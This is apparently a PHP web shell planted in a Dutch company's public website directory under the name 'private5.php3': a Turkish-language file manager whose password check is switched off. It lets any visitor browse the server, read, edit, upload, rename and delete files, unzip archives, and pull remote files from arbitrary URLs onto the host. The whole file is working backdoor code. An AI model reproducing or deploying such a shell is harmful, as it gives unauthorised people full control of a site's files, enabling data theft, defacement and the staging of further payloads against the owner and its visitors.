File: /home/rallypictures/domains/rallyproductions.nl/public_html/private5.php3
<?php
session_start();
$k = false;
$s = '$2a$12$wMwpjdVF1koCjqvlTKPlGeZ1aiJjnroho58ICR9FC18nWsUFQh3Lq';
$b = __DIR__;
$u = true;
if ($k) {
if (!isset($_SESSION['a']) || $_SESSION['a'] !== true) {
if (isset($_POST['p'])) {
if (password_verify($_POST['p'], $s)) {
$_SESSION['a'] = true;
} else {
die("Hatalı şifre.");
}
} else {
echo '
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Giriş</title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.2/dist/css/bootstrap.min.css" rel="stylesheet">
<script>window.onload = function() { document.getElementById("p").focus(); };</script>
</head>
<body>
<div class="container mt-5">
<form method="POST" class="text-center">
<div class="mb-3">
<label for="p" class="form-label">Şifre:</label>
<input type="password" class="form-control" id="p" name="p" required>
</div>
<button type="submit" class="btn btn-primary">Giriş</button>
</form>
</div>
</body>
</html>
';
exit();
}
}
}
$cd = isset($_GET['d']) ? $_GET['d'] : '.';
$cd = realpath($cd);
if (!$cd) {
$cd = realpath(__DIR__);
}
if (isset($_POST['nf'])) {
$fn = $_POST['fn'];
$nfp = $cd . '/' . $fn;
if (!is_dir($nfp)) {
mkdir($nfp);
echo "<script>alert('Oluşturuldu.');</script>";
} else {
echo "<script>alert('Zaten var.');</script>";
}
}
if (isset($_POST['nc'])) {
$fn = $_POST['fn'];
$fc = $_POST['fc'];
$nfp = $cd . '/' . $fn;
file_put_contents($nfp, $fc);
echo "<script>alert('Oluşturuldu.');</script>";
}
if (isset($_FILES['uf'])) {
$uf = $_FILES['uf'];
$dest = $cd . '/' . basename($uf['name']);
if (move_uploaded_file($uf['tmp_name'], $dest)) {
echo "<script>alert('Yüklendi.');</script>";
} else {
echo "<script>alert('Hata.');</script>";
}
}
if (isset($_POST['ri'])) {
$on = $_POST['on'];
$nn = $_POST['nn'];
if (rename($cd . '/' . $on, $cd . '/' . $nn)) {
echo "<script>alert('Değiştirildi.');</script>";
} else {
echo "<script>alert('Hata.');</script>";
}
}
if (isset($_POST['di'])) {
$in = $_POST['in'];
$ip = $cd . '/' . $in;
if (is_dir($ip)) {
rmdir($ip);
echo "<script>alert('Silindi.');</script>";
} elseif (is_file($ip)) {
unlink($ip);
echo "<script>alert('Silindi.');</script>";
} else {
echo "<script>alert('Bulunamadı.');</script>";
}
}
if (isset($_POST['uz'])) {
$zf = $_POST['zf'];
$zip = new ZipArchive;
if ($zip->open($cd . '/' . $zf) === TRUE) {
$zip->extractTo($cd);
$zip->close();
echo "<script>alert('Açıldı.');</script>";
} else {
echo "<script>alert('Hata.');</script>";
}
}
if (isset($_POST['frf']) && $u) {
$ru = $_POST['ru'];
$fn = basename($ru);
$lp = $cd . '/' . $fn;
if (@file_put_contents($lp, @file_get_contents($ru))) {
echo "<script>alert('İndirildi.');</script>";
} else {
echo "<script>alert('Hata.');</script>";
}
}
if (isset($_GET['file'])) {
$file = $_GET['file'];
$filePath = $cd . '/' . $file;
if (is_file($filePath)) {
echo file_get_contents($filePath);
exit; // İçeriği gönderdikten sonra script'i sonlandır
} else {
echo "Dosya bulunamadı."; // Dosya yoksa hata mesajı gönder
exit;
}
}
if (isset($_POST['ef'])) {
$fn = $_POST['fn'];
$fc = $_POST['fc'];
$fp = $cd . '/' . $fn;
if (file_put_contents($fp, $fc) !== false) {
echo "<script>alert('Düzenlendi.');</script>";
} else {
echo "<script>alert('Hata.');</script>";
}
}
$i = scandir($cd);
$dirs = [];
$files = [];
foreach ($i as $item) {
if ($item === '.' || ($item === '..' && realpath($cd) === realpath(__DIR__))) continue;
if (is_dir($cd . '/' . $item)) {
$dirs[] = $item;
} else {
$files[] = $item;
}
}
sort($dirs);
sort($files);
function fs($bytes) {
if ($bytes >= 1073741824) {
return number_format($bytes / 1073741824, 2) . ' GB';
} elseif ($bytes >= 1048576) {
return number_format($bytes / 1048576, 2) . ' MB';
} elseif ($bytes >= 1024) {
return number_format($bytes / 1024, 2) . ' KB';
} elseif ($bytes > 1) {
return $bytes . ' bytes';
} elseif ($bytes == 1) {
return '1 byte';
} else {
return '0 bytes';
}
}
function gb($path) {
$parts = explode(DIRECTORY_SEPARATOR, trim($path, DIRECTORY_SEPARATOR));
$breadcrumbs = [];
$cp = '';
foreach ($parts as $part) {
if ($cp === '') {
$cp .= DIRECTORY_SEPARATOR . $part;
} else {
$cp .= DIRECTORY_SEPARATOR . $part;
}
$breadcrumbs[] = '<a href="?d=' . urlencode($cp) . '">' . htmlspecialchars($part) . '</a>';
}
return implode(' / ', $breadcrumbs);
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Dosya Yöneticisi</title>
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bulma@0.9.4/css/bulma.min.css">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.3/css/all.min.css">
<style>.modal-card-body textarea {width: 100%;height: 300px;}</style>
</head>
<body>
<section class="section">
<div class="container">
<h1 class="title">Dosya Yöneticisi</h1>
<nav class="breadcrumb" aria-label="breadcrumbs">
<ul>
<li><a href="?d=<?php echo urlencode(realpath(__DIR__)); ?>">Anasayfa</a></li>
<?php echo gb($cd); ?>
</ul>
</nav>
<div class="box">
<h2 class="subtitle">Dizin: <?php echo htmlspecialchars($cd); ?></h2>
<div class="columns">
<div class="column">
<form method="post" class="box">
<h3 class="subtitle">Yeni Klasör</h3>
<div class="field has-addons">
<div class="control">
<input type="text" name="fn" class="input" placeholder="Adı" required>
</div>
<div class="control">
<button type="submit" name="nf" class="button is-primary">Oluştur</button>
</div>
</div>
</form>
</div>
<div class="column">
<form method="post" enctype="multipart/form-data" class="box">
<h3 class="subtitle">Yükle</h3>
<div class="field has-addons">
<div class="control">
<input type="file" name="uf" class="input" required>
</div>
<div class="control">
<button type="submit" class="button is-primary">Yükle</button>
</div>
</div>
</form>
</div>
<div class="column">
<form method="post" class="box">
<h3 class="subtitle">Uzak Dosya</h3>
<div class="field has-addons">
<div class="control">
<input type="url" name="ru" class="input" placeholder="URL" required>
</div>
<div class="control">
<button type="submit" name="frf" class="button is-primary">Çek</button>
</div>
</div>
</form>
</div>
</div>
<table class="table is-fullwidth is-striped">
<thead>
<tr>
<th>İsim</th>
<th>Boyut</th>
<th>Yazılabilir</th>
<th>Son Değişiklik</th>
<th>İşlemler</th>
</tr>
</thead>
<tbody>
<?php foreach ($dirs as $dir): ?>
<tr>
<td><i class="fas fa-folder"></i> <a href="?d=<?php echo urlencode($cd . '/' . $dir); ?>"><?php echo htmlspecialchars($dir); ?></a></td>
<td>-</td>
<td><?php echo is_writable($cd . '/' . $dir) ? 'Evet' : 'Hayır'; ?></td>
<td><?php echo date("Y-m-d H:i:s", filemtime($cd . '/' . $dir)); ?></td>
<td>
<button class="button is-small is-info" onclick="ri('<?php echo htmlspecialchars($dir); ?>')">Ad Değiştir</button>
<button class="button is-small is-danger" onclick="di('<?php echo htmlspecialchars($dir); ?>')">Sil</button>
</td>
</tr>
<?php endforeach; ?>
<?php foreach ($files as $file): ?>
<tr>
<td><i class="fas fa-file"></i> <?php echo htmlspecialchars($file); ?></td>
<td><?php echo fs(filesize($cd . '/' . $file)); ?></td>
<td><?php echo is_writable($cd . '/' . $file) ? 'Evet' : 'Hayır'; ?></td>
<td><?php echo date("Y-m-d H:i:s", filemtime($cd . '/' . $file)); ?></td>
<td>
<button class="button is-small is-info" onclick="ef('<?php echo htmlspecialchars($file); ?>')">Düzenle</button>
<button class="button is-small is-warning" onclick="ri('<?php echo htmlspecialchars($file); ?>')">Ad Değiştir</button>
<button class="button is-small is-danger" onclick="di('<?php echo htmlspecialchars($file); ?>')">Sil</button>
<?php if (pathinfo($file, PATHINFO_EXTENSION) == 'zip'): ?>
<form method="post" style="display:inline;">
<input type="hidden" name="zf" value="<?php echo htmlspecialchars($file); ?>">
<button type="submit" name="uz" class="button is-small is-link"><i class="fas fa-file-archive"></i> Unzip</button>
</form>
<?php endif; ?>
</td>
</tr>
<?php endforeach; ?>
</tbody>
</table>
</div>
</div>
</section>
<div id="em" class="modal">
<div class="modal-background"></div>
<div class="modal-card">
<header class="modal-card-head">
<p class="modal-card-title">Dosya Düzenle</p>
<button class="delete" aria-label="close" onclick="cm('em')"></button>
</header>
<section class="modal-card-body">
<form id="efrm" method="post">
<input type="hidden" id="efn" name="fn">
<textarea id="efc" name="fc"></textarea>
</section>
<footer class="modal-card-foot">
<button type="submit" name="ef" class="button is-success">Kaydet</button>
<button class="button" onclick="cm('em')">İptal</button>
</form>
</footer>
</div>
</div>
<div id="rm" class="modal">
<div class="modal-background"></div>
<div class="modal-card">
<header class="modal-card-head">
<p class="modal-card-title">Yeniden Adlandır</p>
<button class="delete" aria-label="close" onclick="cm('rm')"></button>
</header>
<section class="modal-card-body">
<form id="rfrm" method="post">
<input type="hidden" id="oin" name="on">
<div class="field">
<label class="label">Yeni Ad:</label>
<div class="control">
<input class="input" type="text" id="nin" name="nn" required>
</div>
</div>
</section>
<footer class="modal-card-foot">
<button type="submit" name="ri" class="button is-success">Kaydet</button>
<button class="button" onclick="cm('rm')">İptal</button>
</form>
</footer>
</div>
</div>
<script>
function ef(fileName) {
fetch('?d=<?php echo urlencode($cd); ?>&file=' + encodeURIComponent(fileName))
.then(response => response.text())
.then(content => {
document.getElementById('efn').value = fileName;
document.getElementById('efc').value = content;
om('em');
});
}
function ri(itemName) {
document.getElementById('oin').value = itemName;
document.getElementById('nin').value = itemName;
om('rm');
}
function di(itemName) {
if (confirm('Silmek istediğinizden emin misiniz?')) {
let form = document.createElement('form');
form.method = 'post';
form.innerHTML = `
<input type="hidden" name="in" value="${itemName}">
<input type="hidden" name="di" value="1">
`;
document.body.appendChild(form);
form.submit();
}
}
function om(modalId) {
document.getElementById(modalId).classList.add('is-active');
}
function cm(modalId) {
document.getElementById(modalId).classList.remove('is-active');
}
document.querySelectorAll('.modal-background, .modal .delete, .modal .cancel').forEach(elem => {
elem.addEventListener('click', (e) => {
e.target.closest('.modal').classList.remove('is-active');
});
});
</script>
</body>
</html>